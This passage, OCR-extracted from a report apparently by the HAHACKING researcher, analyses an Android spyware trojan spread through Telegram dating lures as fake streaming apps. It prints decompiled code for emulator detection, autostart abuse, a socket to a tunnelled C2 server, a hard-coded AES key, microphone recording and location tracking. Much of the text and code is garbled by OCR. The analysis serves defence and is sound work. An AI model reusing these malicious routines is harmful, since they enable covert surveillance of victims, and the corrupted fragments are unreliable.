https://www.virustotal.com/gui/file/efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
https://www.virustotal.com/gui/file/efaf1e1616426c9e5b4960174017936dbda2c85ece2d231a8f0bdb6283bcfdf6
https://www.virustotal.com/gui/file/36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0
https://www.virustotal.com/gui/file/36303775a3a2059a5840405e6c4f4875093da9dacd76ba27215e4652713a3db0

CASE #2 HAHACKING
OTHER NOTES

INDICATORS OF COMPROMISE

Filename

fa3ee4a5499e9d7bd3a419a5bcf76e70

SHA1 8c9a9bfe8c34baa523d7dd996dbb818a424deb4a
SHA256 c4c2464ab76f50aa5652a052a4f0ab25eb913ee91322
399f159911c1ad6853a8

VirusTotal virustotal.com/qui/file/c4c2464ab76f50aa5652
a052a4f0ab25eb913ee9f322399f159911c1ad6853a8

Filename ChatV Privat (2).apk

49766cObcedbeddb664ad4ebd8bcf1646

SHA1 1dc460045ac33a24181780654b8a86c2316649181
SHA256 b8bfB3ca247e226af4601b5226475b189a51dcf5a4cTf
6563a59d5ceeabBa7b63

VirusTotal virustotal.com/qui/file/b8bfB3ca247e226af460
1b5226475b189a51dcf5a4cf6563a59d5ceeabBa7b63

45


https://t.me/hahacking
https://www.virustotal.com/gui/file/c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
https://www.virustotal.com/gui/file/c4c2464ab76f50aa5652a052a4f0ab25eb913ee9f322399f159911c1ad6853a8
https://www.virustotal.com/gui/file/b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63
https://www.virustotal.com/gui/file/b8bf03ca247e226af4601b5226475b189a51dcf5a4cf6563a59d5ceeab0a7b63

HAHACKING

CASE /3

(Q Streaming service + remote control of the device; @)

CASE #3

BACKSTORY (32

The third girl contacted me via the Telegram chatbot for anonymous
dating and offered to continue our conversation in private messages. It
turned out that she, like the girl from the second situation, has her own
Telegram channel where she shares content and offers her subscribers
access to full versions of her content by installing a mobile application of
a streaming service:

YT1o yMeeT 3TOT 60T?

Hey wassup #!'ll give you a chance to
meet somebody special! Fast dating by
interests.

lNpesea! Xoyelwb NO3HAKOMUTBLCA?!
. Cnpocy MeHA kak! YBbicTpole
_3HakomcTBa @ no uHTepecam!

| CoobLieHue oT nonbaosartensa 2d978d:
npuBeT 06LWalchb TONIbKO B TeNierpaMme Mo

”

* tenerpam CETEGEGNG
HaxxmuTe Ha KHOMKY 4TOObI

Ganyrochb)
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CASE #3 HAHACKING
BACKSTORY

It is worth noting that over time, the channel was replaced by another one.
This time, the girl kindly provided her subscribers with detailed instructions
on how to install a new application. The instructions included granting the
application the "Accessibility" permission, despite warnings from the device
about the associated risks and possible consequences:

. .

Accessibility button

Shorteut from lock sereen

n BongaCamSexs.apk
Acce lity menu

Downloaded apps

OcHOBHBIE

BbICTpLIF 3anycK npw 3abn...

MpuseTcToyes Bac Ma BongaCamSexs
HTOE MPOAOMMHTL HAMMMTE KIONKY W BLRNHTE

paspewenen gna paborocnocobHocTr -
PTG WOl HMR. = MeH cneynansHbix

BOIMOMHOCTER

Pazpewenne B (
| y ‘
CHayaHHbLIE NPHNOMEHHA
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CASE #3 HAHACKING
BACKSTORY

pr—

CradaHHble NPUNOMEHUA o2 @& 1427 st @45

-
BongaCamSexs
Henoneaoeare BongaCams,

CkayaHHble
NPUNOXEHNA

Bo CamSexs BBICTPBIA 3amyek HyHKLN "
e ]
h Kaspersky

Internet Security

ABTOMAT
Hueckmi K.,

Yrposa

‘CneumancHble BOIMOMHOCTH' ABNAGTCA

MpenocTaBnAn 310 Pa3peileHHe, Bbl CTABUTE

The newer application, BongaCamSexs . apk,
is 5.7 megabytes heavier than the older MpenocroansnaTopaspewsenne o croow
one, streamtwit.apk. e

C ITHM pa3peleHnem:

1 B YTenue Bcero COAEPKUMOro Ha
IKPaHE W YNpaBNeHHe M
AIPOLILHUE HE OTOGPAMEHNE OBBEH

These samples are similar, except for a
couple of points:

- WayueHune noBegeHua n
ABTOMATHU3ALUMA AEACTBHA

o streamtwit.apk - more obfuscated
e BongaCamSexs.apk - offers additional
functionality

") FlOCOS 10 BOIMONHEIE PUCKH M Bepy Ha

Ccefif 07 ETCTBEHHOCTS 3 BCE BOIMOMHLIE
: nocne CTaMA

In the description of the technical
features of the malware discussed in
this section, | will try to combine the
functionality of both versions, s o .
demonstrating the least obfuscated 2= BongaCamSexs o
code samples available. #2MB
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CASE #3 HAHACKING
THE FIRST GLANCE &

STREAMTWIT

The streamtwit app requires the following
hardware capabilities:

e android.hardware.faketouch
e android.hardware.telephony
e android.hardware.wifi

It also works with the device-admin, ime, accessibility components
The app icon depicts a girl taking pictures of her reflection:

application: label='streamtwit' icon='classes.dex/drawable/reducingf7@.png’
feature-group: label=""
uses-feature: name='android.hardware.faketouch'
uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps'
uses-feature: name='android.hardware.telephony'
uses-implied-feature: name='android.hardware.telephony' reason='requested a telephony permission’
uses-feature: name='android.hardware.wifi'
uses-implied-feature: name='android.hardware.wifi' reason='requested android.permission.ACCESS WIFI STATE permission,
d requested android.permission.CHANGE WIFI STATE permission'’
provides-component: 'device-admin'
provides-component:'ime'
provides-component: 'accessibility"’

[SISIEe el gy

classes.dex/drawable/reducingf70.png

The requested rights in accordance with AndroidManifest.xml:

android.permission.ACCESS_NETWORK_STATE android.permission.SEND_SMS
android.permission.ACCESS_WIFI_STATE android.permission.SYSTEM_ALERT_WINDOW
android.permission.CHANGE_WIFI_STATE android.permission.USE_FULL_SCREEN_INTENT
android.permission.DISABLE_KEYGUARD android.permission.WAKE_LOCK
android.permission.FOREGROUND_SERVICE android.permission.WRITE_EXTERNAL_STORAGE
android.permission.INTERNET com.android.alarm.permission.SET_ALARM
android.permission.READ_EXTERNAL_STORAGE oplus.permission.OPLUS_COMPONENT_SAFE

android.permission.READ_PHONE_STATE oppo.permission.0OPPO_COMPONENT_SAFE
android.permission.READ_SMS

android.permission.RECEIVE_BOOT_COMPLETED
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
com.huawei.permission.external_app_settings.USE_COMPONENT
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CASE #3 HAHACKING
THE FIRST GLANCE &

Light grey cursive indicates entries

B O N GACA M S EXS that match those of streamtwit

The BongaCamSexs app requires the following
hardware capabilities:
e android.hardware.camera e android.hardware.microphone

e android.hardware.faketouch e android.hardware.telephony
e android.hardware.location android.hardware.wifi

And also works with the device-admin, ime, accessibility components
The app icon depicts the logo of the real service:

application: label='BongaCamSexs' icon='AndroidManifest.xml/drawable/beadsy70.png’
launchable-activity: name='remember.left.shxtoilzocgzhysicroszkwwzgwvjdiprkiyhlmopjlkglgeuo2.MainActivity® Tlabel='Bong
aCamSexs' icon='AndroidManifest.xml/drawable/skinicon.png’
feature-group: label=""
uses-feature: name='android.hardware.camera'
uses-implied-feature: name='android.hardware.camera' reason='requested android.permission.CAMERA permission’
uses-feature: name='android.hardware.faketouch'
uses-implied-feature: name='android.hardware.faketouch' reason="default feature for all apps’
uses-feature: name='android.hardware.location'
uses-implied-feature: name='android.hardware.location’ reason='reguested android.permission.ACCESS_COARSE_LOCATION pe
rmission, and requested android.permission.ACCESS_FINE_LOCATION permission’
uses-feature: name='android.hardware.microphone’
uses-implied-feature: name='android.hardware.microphone' reason='regquested android.permission.RECORD_AUDIO permission

uses-feature: name='android.hardware.telephony’
uses-implied-feature: name='android.hardware.telephony' reason=
uses-feature: name='android.hardware.wifi’
uses-implied-feature: name='android.hardware.wifi' reason='requested android.permission.ACCESS_WIFI_STATE permission,
and requested android.permission.CHANGE_WIFI_STATE permission'

provides-component: 'device-admin

provides-component: 'ime'

provides-component: 'accessibility’

requested a telephony permission’

{ervices = £, ACCEssService Androidmanifest.xml/drawable/beadsy7o.png

android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION

android.permission.RECORD_AUDIO

android.permission.CALL_PHONE
android.permission.CAMERA

android.permission.SET_WALLPAPER

android.permission.GET_ACCOUNTS

android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
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CASE #3 HAHACKING
THE FIRST GLANCE

BONGACAMSEXS

MainActivity CraxsBrowser RequestDataUsage
SecondActivity FloatingView RequestVPN
WakeupActivity installupdate RequestOPPOB
RequestUninstall flyActivity RequestPermission2
RequestInstallPrim OpenActivity RequestKeyboard
RequestScreenCap OpenChrome RequestAdmin
CameraActvity isOver

MyJobService, KeyboardService, initializeService, CameraHandler,
LocationService, AccessService, BackgroundWorker, FirewallServices

CustomReceiver (RestartSensor);
Datareciver (android.intent.action.DATE_CHANGED);
AdminReceiver (android.app.action.DEVICE_ADMIN_ENABLED);

— ScreenReceiver (android.intent.action.SCREEN_ON,
android.intent.action.SCREEN_OFF,
android.intent.action.ACTION_POWER_CONNECTED,
android.intent.action.ACTION_POWER_DISCONNECTED,
android.intent.action.USER_PRESENT);

— PackagesReceiver (android.intent.action.PACKAGE_INSTALL,
android.intent.action.PACKAGE_ADDED,
android.intent.action.PACKAGE_REMOVED,
android.intent.action.PACKAGE_CHANGED,
android.intent.action.MY_PACKAGE_REPLACED) ;

— BootReceiver (android.intent.category.DEFAULT,
android.intent.action.BOOT_COMPLETED,
android.intent.action.ACTION_BOOT_COMPLETED,
android.intent.action.QUICKBOOT_POWERON,
com.htc.intent.action.QUICKBOOT_POWERON,
android.intent.action.REBOOT,
android.intent.action.LOCKED_BOOT_COMPLETED,
miui.intent.action.BOOT_COMPLETEDT);
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CASE #3 HAHACKING
OBFUSCATION B

Observed obfuscation techniques:

e Replacement of component names with
random values. For example:

if (1 < 1)
1++]
afns1qankesasqpf:amrytblpncq1h-amna gmtelsggjefviwsgyeRyY37.

ystem.out.println(afnsjqankesosqgpfiamrytbipncglheamnazgmtelsgg)
afns]qankasosqpfldmrftblpn;glhnamr zgmtelsggjefviws 1) ;
} else if (1 <= 2) {
14+

_afnsjgankesosgpfiamrytbip Lglhnamr z mtﬁlsgq1nfv1w6 2);
I else if (1 = 3
1++;
afns1qankesasqpf:amrytblpncg]huamna:qmtulaggj~$ v]wBgyeRy37.
_afnsjgankesosqpfiamrytbipn : 1

e Code splitting and distribution of its parts into separate
classes. For example, this is how some components of the
package hierarchy of one of the files look like:

e, afnsj qanke:obqpflamrytblpncg'l hﬂamna:qrntc-'lsggjef\.f]wﬁvTF‘J.BD
g, afnsjgankesosgpfiamrytbipncglheamnazgmtelsggjefviwbXVLHN31
¢ afnsjgankesosgpfiamrytbipncglheamnazgmtelsggjefviwsYugri33
e, afnsjgankesosgpfiamrytbipncglheamnazgmtelsggjefvjwbyVghle2
& afnsjgankesosgpfiamrytbipncglheamnazgmtelsggiefviwszDMPol2s
c aFnSJqankeaosqpfldmrytblpncglheamna:qmtelsgu1erJwFZgUA]1l2
€ afnsjgankesosgpfiamrytbipncglheamnazgmtelsggjefviwtZ1LBwW1GE
g, afnsjgankesosgpfiamrytbipncglheamnazgmtelsggiefviwbzrxWI4s
& afnsjqankesosqpfiamrytbipncglheamnazgmtelsggjefviwbzvgliss
€ afnsjgankesosgpfiamrytbipncglheamnazgmtelsggjefviwbzy rrkél
g, bddojsokprlezl
& bekrujcixgl@17
g TwyytkwkdqlOle
& hmjbuscaakl024
£, kKgbndduuggl 923
g, mlxptkeqecal@z22
&, sxebbwaxycl018
& thpiayomegl@19
& uqjondhtlyl825
g, xigtgbtefal0Zo

&, AdminReceiver

¢, BuildConfig

&, dogbnmydol979

& euolvgtgj y9eo

£, eurwsxcmgquass

c,giifyuvqlx983

&, gtohmgab fm987

& jarwluszmf9gz 52

£, g Lmnwyaby984
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CASE #3 HAHACKING
OBFUSCATION

e Transformation of string values to
complicate human readability:

o Conversion of strings into Baseé64 format. | named
the decoding function base64decode

puhllc Statlc +|1n4 1T5:reen5hat,

static 1nitializeService st;

public static String ConnectionKey = utilities.
bzzogecdncgfuboifoverjddzkiocgfugzvlgirexodecxbtirds( " Nze3Mg=="];

public static String uninstall = "on";

public static +|1n| CLINAME = "raman";

£, initializeService c,utilities
587 public static String bzzogecdncgfuboifoverjddzkiocgfugzvlgl rexodecxbtirds(string str)
try {
B0 return new String(Basecd.decode(str, 0), "UTF-8");
} catch (UnsupportedEn ngException unu_.edl {
return null;

o Splitting of strings into substrings with the
insertion of random characters between them. |
named the extraction function extractString

uflllflec rhwk]t1hxnlwryghfkxkygbqusgewrznhekedwEJfxuvrnmthBl
C v C dyhuc r1L1 grqyss (.

uorjkivgrg
}Tm_1+uT

hrdnprjc 11h ! .- ykkpgligzzn
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CASE #3 HAHACKING
OBFUSCATION

11RPOS

Typos are commonly found in the names of important components. It is
unclear whether the author made these mistakes accidentally, perhaps
because English is not their first language, or intentionally, perhaps to
make it more difficult for experts to detect malicious elements in the
application by searching for specific strings, or to bypass techniques
used to classify software as malware based on the presence of certain
keywords.

The name used The corrected name

MyAudoRecorder MyAudioRecorder
StoragPermissions StoragePermissions
daterecever / DataReciver DataReceiver

ask_battary ask_battery

Dele Del / Delete

SaveTouchs SaveTouches

Repet Repeat

Treger Trigger

NeedNotifi NeedNotify / NeedNotification
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AUTOSTART >

In both MainActivity and SecondActivity the getAutoStartPermission
method is called. It checks the brand of the infected mobile device

( Build.BRAND ), and then - calls the brand-specific method to grant the righ

s to

automatically launch the application and manage battery optimization:

return lowerCase.equals(Brand. PHONE XTAOMI) ; }
¥ break;
case 102385865;
202 public boolean getAutoStartPermission(Context context) { if (lowerCase.equals(Brand.PHONE_XTADMIZ) ) {
203 string lowerCase = Bulld.BRAND, toLowercase(Locale ROOT); ¢ =11
205 lowercase . hashCode! ) ; bhreak:
char ¢ = 65535; ¥
switch (Lowercase.hashcode()) { break;
case - 1320380160: case 111375566
if (lowerCase.equals(®oneplus®]} { if (lowerCase.equals{"ulong®]} {
¢ =0 ¢ m g
break; break;
} }
break; break;
case - 1206476313: ]
if (lowerCase.equals(Brand, PHONE_HUAWEIL) ) { switeh (2] {
c=1; case O
break; 225 return autoStartOneflus{centext);
} case 1:
break; i} return autoStartHuawel [context);
case - 75O4009589: case 2
if (lowarCase.equals(Brand.PHONE XTAOMI]) { case &
e = 2 case 11:
break; 211 return autoStartXiaomi (context);
¥ case 3
break; 207 return autoStartAsus(context);
case 3003584; case 4
if (lowercase.equals( asus")) { a7 return autoStartletvicontext);
¢ =3 case S
break; 223 return autoStartOppolcontext)
} case 7:
break; 27 return autoStartVivo(context);
case 3ILB203: case '\b':
if (lowerCase.equals(letv")) { 23 return autoStartmeizulcontext);
€ =4 case '\t':
break; 219 return autoStartHonor(context);
¥ case ‘\n':
break; 2% return autoStarthokialcontext);
case 3418016: case '\f':
if (lowerCase.equals(Brand. FHONE_OPPO) ) { 25 return autoStartulongicontext);
¢ =5 default:
break; return false;
;,re,,h '; PACKAGE SAMSUNG CUHPONENT 3 tring ¢ Eutilities £, RequestVPN £, Firewallservices g o £, AccessService £, AutoStart

*f, PACKAGE_SAMSUNG_MAIN Stri

. PACKAGE_VIVO_COMPONENT String

. PACKAGE_VIVO_COMPONENT_FALLBACK
] PACKAGE UIVU COHPONENT FALLBACK_A St
] PACKAGE_UIVU_COHPONENT_FALLB&CK_A_P.
. PACKAGE_VIVO_COMPONENT_FALLBACK_A_B
. PACKAGE_VIVO_FALLBACK String

. PACKAGE_VIVO_MAIN String

. PACKAGE_VIVO_MAIN_A_A String

. PACKAGE_VIVO_MAIN_B String
. PACKAGE _ KIAOMI _COMPONENT
, PACKAGE_XIAOMI_MAIN String

‘{ PACKAGE_ulong_COMPONENT

‘{, PACKAGE_ulong_MAIN

& ...} id

= AutoStart() void

= XiaomiZ({Context)

m autoStartAsus(Context) b

m autoStartHonor{Context) |

m, autoStartHuawel (Context) boolear

m autoStartletv(Context) b

m autoStartMokia{Context) ¢

m autoStartOnePlus(Context) ©

m autoStartOppolContext) b

m autoStartVivo(Context) bool

m autoStartXiaomi(Context) boolear

m autoStartmeizu{Context) ¢

m autoStartulong({Context) ¢

m getAutoStartPermission(Context) boolea
m aetInstance() tart

7 getPermissionManagerIntent {Context)

m isPackageExists(Context, String) G
7 isoppooronplus() b I

7 lssamsung() boolear

m isxaomii) ¢ i

m startAction{Context, String) id

m startIntent(Context, String, String)

m isAutoStartPermissionAvailable(Context)

)
el

o)

298

3 301

39

*com. asus.mobi Lemanager . autostart. AutoStartActiw
return true;

private hoolean autoStartXiaomi(Context comtext] {

if (isPackageExists(context, "com.miul.securltycenter®)} {
try {
startIntent{context, “com.miui.securitycenter®,
"com.mlul .permoenter, sutostart, AuteStartManagemantActivity®);
return tru
} catch (Exception e) {
try {
xlaemi2(context];
return true;
} catch (Exception unused) {
Log.e(*AT.auteStart¥iaomi”, Log.getStackTraceStringlel):
}
¥

}
return false;
}

private boolean autoStartAsus(Context context) {
if {i1sPackageExistsi{context, "com.asus.mobilemanager®]) {
try {

startIntent{context, "com.asus.mobllemanager®,

*com.asus.mobilemanager . powersaver.PowerSaverSettings®);

return true;
} catch (Exception e} {
Log.@{"AT . AUTOSTAFTASUS" , Log.getStackTraceString(el);:
try {
startIntent{context, "com.asus.mabllemanager®,
1ty");

e2) o
AT. autostart.ﬁsua ., Log.getStackTraceStringle2));

H
return false;
}

private boolean autoStartmeizu|Context context) {
if (isPackageExists(context, "com.meizu.safe")
try {
startIntent(context,
return true;
} catch (Exception e} {

‘com.meizu.safe”, "com.meizu.safe.permission.SmartBGActivity*);
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CASE #3

DEBUGGING DETECTION It

HAHACKING

Both MainActivity and SecondActivity implement the
isEmu_DIV_ID_lator method, which is responsible for debugging detection:

€ MainActivity
& MyChroma
& My'WabV lowCl lant
fy FILECHOOSER RESULTCODE
i, forautostart
i Oklistrer
fa rUploadHassage
i mWabView W
faout Viewdr
b ovalue
B} v
m Hm.ml: f.LUJ.I ¥
m ASkDraw()
m AskroEmul )
mWork(Context)
m access$000(MainActivity)
m accassPO0Z(MainActivity, ‘-a:'lL,eCa'lLbu:
m finishl) i
m isEmu_DIV_ID lator()
m isintermetOK(Context) |
moonActivityResult{int, int, Intent)
m, onBackPressed()
m, onCreate|Bundle)
m onDastroy()
m onRestorelnstanceState[Bundle)
w onResumel )
m onSavelnstanceState(Bundla)
& MyApplication
& nucwtgixbnl@ls
£, Okex
& OpanfActivity
& OpenChrome
& Oppolnlock
& pbjgzphzyblel?
g Perfct
# PerformGesturelistenar
& PerformGestureltil
& grakrkpfvogpopl jeingrgzclkwoujmsk fugxho
& gqdisogsgbdlEzl

€ & MaimActivity £, Secondhctivity £, RequestInstallPrim £, Reques tPe rmissisng e imstallu »

private boolean isBmu BIV_I0 Vator() {
return (Build. BRAND, startsWl thiuti lities, extractstring(
rki Lk

phr
startswWith(EnvironmentCompat, MEDTA_UNKNOWN]
centains{*ranchu®l || Build.MODEL.centains("g
contains| (utiliries, euract;trmg

Buld HARDWARE , contains ( *goldf
*) 1] Build.MOCEL. centams

1 Bui Ld MANUFACT HER
Bu: Ld PRECUCT . contai ns | L
111 Build.PRODLCT . conl.unsluh'hhes

£je T
Bui Ld.PRODUCT . containg
tar*};

After some deobfuscation of the code in the screenshot, the
function's return value appears to be:

Build.
Build.
Build.
Build.
Build.
Build.
Build.
.PRODUCT.contains("sdk")
.PRODUCT .contains("sdk_x86") ||

PRODUCT .contains("sdk_gphone64_armé4") ||
PRODUCT .contains("vbox86p") ||

PRODUCT .contains("emulator") ||
PRODUCT.contains("simulator");

Build
Build

Build.
Build.
Build.
Build.

return (Build.BRAND.startsWith("generic") &&
Build.DEVICE.startsWith("generic")) ||
Build.FINGERPRINT.startsWith("generic") ||
Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN)
| | Build.HARDWARE.contains("goldfish") ||

HARDWARE .contains("ranchu") ||

MODEL .contains("google_sdk") ||

MODEL .contains("Emulator") ||

MODEL .contains("Android built SDK for x86") ||
MANUFACTURER.contains("Genymotion") ||

PRODUCT .contains("sdk_google") ||

PRODUCT .contains("google_sdk") ||
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CASE #3 HAHACKING
DEBUGGING DETECTION

The function uses static fields of the Build class of the android.os
package to identify: the brand (BRAND), the fingerprint (FINGERPRINT ),
the hardware ( HARDWARE ), the model ( MODEL ), the manufacturer

( MANUFACTURER) and the product ( pPRODUCT ) — it extracts information
about the build from system settings and analyzes the resulting
values to find substrings that may indicate the use of emulation
technologies.

If the application detects that an emulator is being
used, it displays a message informing the user that
emulated devices are not supported:

switch (c) {

case 0O:
builder.setMessage (" 5 loall sie=l aray ¥ goibill i nySloe @lacS| o);
str = "g9lg4a";
break;

case 1:
builder.setMessage("Emulator detected.%n this app does not support emulator devices");
str = "ok";
break;

case 2:
builder.setMessage ("oykinlici algilandi.\n bu uygulama Sykinlcl aygitlar: desteklemiyor");
str = "Tamam";
break;

case 3:
builder.setMessage (" #MIZIRINES .0 LERI A EISRIIEEIEE");
str = "IFEY";
break:;

default:
builder.setMessage ("emulator detected.yn this app does not support emulator devices");

stro= "OK'; R E—

break;
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CASE #3 HAHACKING
COMMUNICATION WITH C&C SERVER &=

€ initializeService & initializeService
The SerVICe : :, ) 72| public class initializeService extend
o : ot S ptic st 1 Cienet
initializeService torKay String e e
5 5 i bogleaar public static Context appCont
defines variables : public static String ifScreen
. f, HideType 5tring ini tializeService st:
ClientHost ALl Listetrsiz p—_— ic static “rino Conmectionks
foLi cketClasss io aaa Frine O
ClientPort and # at
ConnectionKey el tLic static 1
i ic static i
that store the IP raraoevan Brosdcastiscsive: e static
address of the C2 fScreenshot 5t i static
server, the port < boolean ic atatic
and the R 3
X =y iiiei i ic static Recerver br = null;
ConneCtlon key, e ©f =i . ic static BroadcastReceiver daterecever = null;

respectively:

>
- O L 1¢ WY
ClientHost .ngrok.io
ClientPort: 17303
ConnectionKey: 7771

Both malware samples used services to create temporary tunnels
between the local computer and the Internet to establish
communication with the server. In one case it was ngrok|[ . ]io, in
the other one - playit][.]gg, a global proxy for game servers.

Communication with the C2 server is established by calling methods of a
dedicated class. The sendBytes function opens a new socket specifying
ClientHost and ClientPort, creates a data stream n and writes the value of
bArr into the stream:

£, SecondarySocket ¢, initializeService & utilities ¢, SecondarySocket
fo LockSend
fa H'finst'af"‘f"— public synchronized veoid sendBytes(byte[] barr) {
f, out | if (eut) {
f, socket ket return;
M {...} void }

o B Lo Socket socket2 = socke

w, SecondarySocket i ) o
o SAcoNcarysnc 0 if (socket2 null || !socket2.1sConnected()) {
m Instanse()

m closeSocket() volid 36 3 3 = new Socket(InetAddress.getByName (utilities.

# sendBytes(byta[]) voi ervi 1 J, Integer.parseInt{utilities.base64decode(
& silzguxdynl315 i
g, Tools
&, trsizygjhxzgdgnnnzvoqdvinss rm
B utilities
€, VoiceRecorder

xnltdjsz1319
vmsfyefhl316
sdgarrntcygtj jubsrypsclehwll

cossSarvica cket. getOutputStream() ;

.r|_'.1.enqth * 15);
eB groundWorker -

d B outputStream.write (barr);

€, degdzarwx11239 } cateh (ICException unused) {

€, dt reaotdus1240 5 socket = null;

£, Firewal i ] 5 8
€, fmaceni 33 '

€, gvtgszjnghl238
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CASE #3

LOGGING /

HAHACKING

The malicious application logs some data: functions writeJSONToFile

and readJSONFromFile are implemented to read and write JSON objects, that
are being processed during the execution of the malicious modules, from/into
local files.

When writing a JSON
object to a file, the
object is converted into
a string and then
encrypted using the
encrypt method of the
EncryptionCUtils

g, utilities

public static void writelSONToFile(JSONObject jSONChject, String str) {

if (jsonNobject == null) {
return;

i

try {
Bufferedwriter bufferedwriter = new Bufferedwriter(new Filewriter(str));
bufferedwriter.write(EncryptionCUtils.encrypt(jSONChject.toString(l));
bufferedwriter.close();

} catch (Exception e) {
e.printStackTrace();

Iy

. utilities

public static JSONChject readdSONFromFile(<tring str) {
try {
Buffered ler bufferedReader = new BufferedReader (new FileReader(str)):
StringBuilder sb = mew StringBuilder();
while (true) {
String readLine = bufferedReader.readline();
if (readLine != null) {
sb.append(readLine);
b oelse {

When reading a
JSON object from a
file — the data is
?z::xe:xagggr'&}?:iilizncryptioncutils.decrypt(sb.toStringH 1); decrypted USing the
. decrypt method of
} catch (Exception e) { the same class:

e.printStackTrace();
return null;

The EncryptionCUtilsclass is responsible for encrypting and decrypting
data. The encryption algorithm used is AES, with a hard-coded 128-bit
secret key SECRET_KEY :

sjtwumpsqicxfsrmjtvfnyvastyjw

£ £, RequestVPN
&, AlertsMap

2, FirewallServices & CC ©. AccessService . EncryptionClitils

& AutoStart package remember.left.shxtollzocgzhysicroszkwwzgwy)djprkiyhlmop)lkglgeua2.
& bel farlmrs1313 s twumpsqicxfsrm] tvfnyastyjwihoyoylxfbzowywkxmsfqf 4;
¢ Came raHandler impert android.util.Basecd;
& ceuzoudmre1318 impoert javax.crypto.Cipher;
&, CraxsBrowser impert javax.crypto.spec.SecretKeySpec;
& ctvgjkeaffll3ly )
&, ejbcgagtbgl3l4 I* I?a.:l'ea from: claslses_n'e:l( ‘_.-‘r
& Enc ryptionCUtils 21 | public class EncryptionCuUtils {
. ¥ . private static final String AES ALGORITHM = "AES";
fo AES_ALGORITHM String private static final String SECRET_KEY = "93b89a273c1fbeso073af 7hdoadfascon;
e SECRET_KEY String
m EncryptionCUtils() wvoid 22 public static String encrypt(String str) throws Exception {
i dec rypt (String) Stris 23 SecretKeySpec secretKeySpec = new SecretKeySpec (SECRET_KEY.getBytes(), AES AL GORITHM) ;
moencrypt (String) Stri 24 Cipher cipher = Cipher.getInstance|AES ALGORITHM) ;
f‘ ko T rwl 320 ) 5 cipher.init(l, secretKeySpec);
B Tdzkwn ) i 27 return Basetd.encodeToString(cipher.doFinal (str.getBytes(]), 0);
& hbnvacdixpl311 }
g hiyovkjeyzl312
&, ImageSaver 30 public static String decrypt{String str) throws Exception {
& NotificationUtils 31 SecretkeySpec secretkeySpec = new ?ecretkeyﬁpec[SECRET_KEY.getBytesl3. AES_ALGORITHMI ;
3z Cipher eipher = Cipher.getInstance(AES_ALGORITHM) ;
g PacketClass . e .
3z cipher.init(2, secretkeySpec);
Cs Secondaryﬂocket 35 return new Strin :[c;pher.aninal[?{.1---'.';_decude':str, ol));
e sil7auxdvnl3I1s 1
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CASE #3 HAHACKING
AUDIO RECORDING U

m, BlockApp(String) £, AccessService £, AutoStart £, VolceRecorder
m, CLOSEALLINTENT (St

, RemoveApp (St ring) ) -jhi vgrqyssruk v : i
& aueesAsint) w - ; - When deploying
L StartScreen(Strin

el ;T;, Javubgceren) rzngyezzups xxewdbgsx) ea) hbsxzy sephrdnpr ) ahxgdkaukytpwykkpai zzntayy U SOVSY IYEN RN

voia ' s functionality, the
MyAudoRecorder
object of the
VoiceRecorder
class is initialized :

m onBind( Intent) [E
m onCreate() void . Context application g
m, onDestroy() 1d K utilities.pr = applicationContext.getResources().getString(R.string.yeastehardcorexsl)

The VoiceRecorder class allows the malware operator to record audio. The
method start defined inside this class initializes a new object of the
MyAudoRecorder class of the android.media package:

2, FirewallServices €, cC £, AccessService c, VoiceRecorder
L Wheﬂ Ca“ing the 21 | public class VeiceRecorder {
: public String path;
SetAUd 1OSOU rce MediaRecorder recorder = new MediaRecorder();
3 public boolean isActive = false;
method, the number 1is passed
- public void SetPathis g str) {
as an argument, which 23 - this.path = sanit athistr);
corresponds to the value of the ’
. 28 private String sanitizePath(String str) {
static property MIC and means 2 if artsmth(*/"]) {
str = "/" 4 str;
setting a microphone as a sound ko
ry i
Source, 3. if (!str.contains|
str = str + "
}
e When calling the b catch (Exception unused) {
setOutputFo rmat . .return Environment.getExternalStoragebirectory (). getAbselutePath(]) + str;
method, the number 1is passed . -
) 3 puhl‘.!.c \l'o:l.lllstart'._l { ) -
as an argument, Wthh 5 if I.En'_w:Er‘nnmnt.-_;e'r_E::ternal'._-'-:r_g:-rl'agc:r:tateI. ) .equ
File par-entl_h'l_e = HE'H'II_ ile( thls.paph ) .get .
corresponds to the value of the . if '-fi;e;tme-ensts».l I parentFile.mkdirs()) {
i 55 MediaRecorder mediaRecorder = new MediaRecorder();
static property THREE_GPP and this [T - R
8 5 mediaRecorder. setAudioSource(l);
means Settlng 3GPP as an 7 this. recorder . setOutputFormat(1);
. . ] this.recorder.setAiudicEncoder(1);
OUTDUT flle formatv this.recorder.setOutputFile(this.path);
this.recorder. (1;
* 6 this. recorder.s
e When calling the S T
SetAUdiOEnCOder } cateh (I0Exception unused) {

method, the number 1is once
again passed as an argument,
which corresponds to the value
of the static property AMR_NB
and means setting AMR as an
audio codec;

If this malicious module gets enabled, the
audio recording from the microphone of the
infected device launches. The result will be
saved to a local WAV file on the external

storage. 60
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CASE #3 HAHACKING

LOCATION TRACKING ©

The application requests access rights to both the approximate

( ACCESS_COARSE_LOCATION ) and the precise
( ACCESS_FINE_LOCATION ) location of the infected device.

In addition, the LocationService class is defined - it is a service

responsible for location tracking.

g fmacenibzul237 &, FirewallServices & CC £, LocationService

public veid onLocationchanged(Location location) {
if (lecation '= null) {
LecationService.Longting = lecation.getlongltude();
LocationService.lastknownLatitude = location.getLatitude();
LocationService. letliudid = location.getAccuracy();
LocationService.sp = location.getSpeed();
LocationService.this.s(LocationService. LastknownLatitude, LocationService.
Longting, LocationService.letliudid);
if (LocationService.LM.lsProviderEnabled(”

fo Longting
fo LastKnownLatitude
i d long

try {
LocationService. M. removeUpdates (LocationService.LL) ;
} catch (Exception unused) {

on(LocationSarvice. this.

fo letliudid float
fa 5p Tloat

§ st
Bt long
HFawill_ask_|

fawul String[]
m{...} void

m LocationServica()
m accass$Oed (Locatis
m, onBind(Intent) IS
m, onDestroy() void
m, onStartCommand( In
mpl) id

m ruf) id 0 pll;
: :T;Iisub'lm douiBTa } else if (isProviderEnabled) {

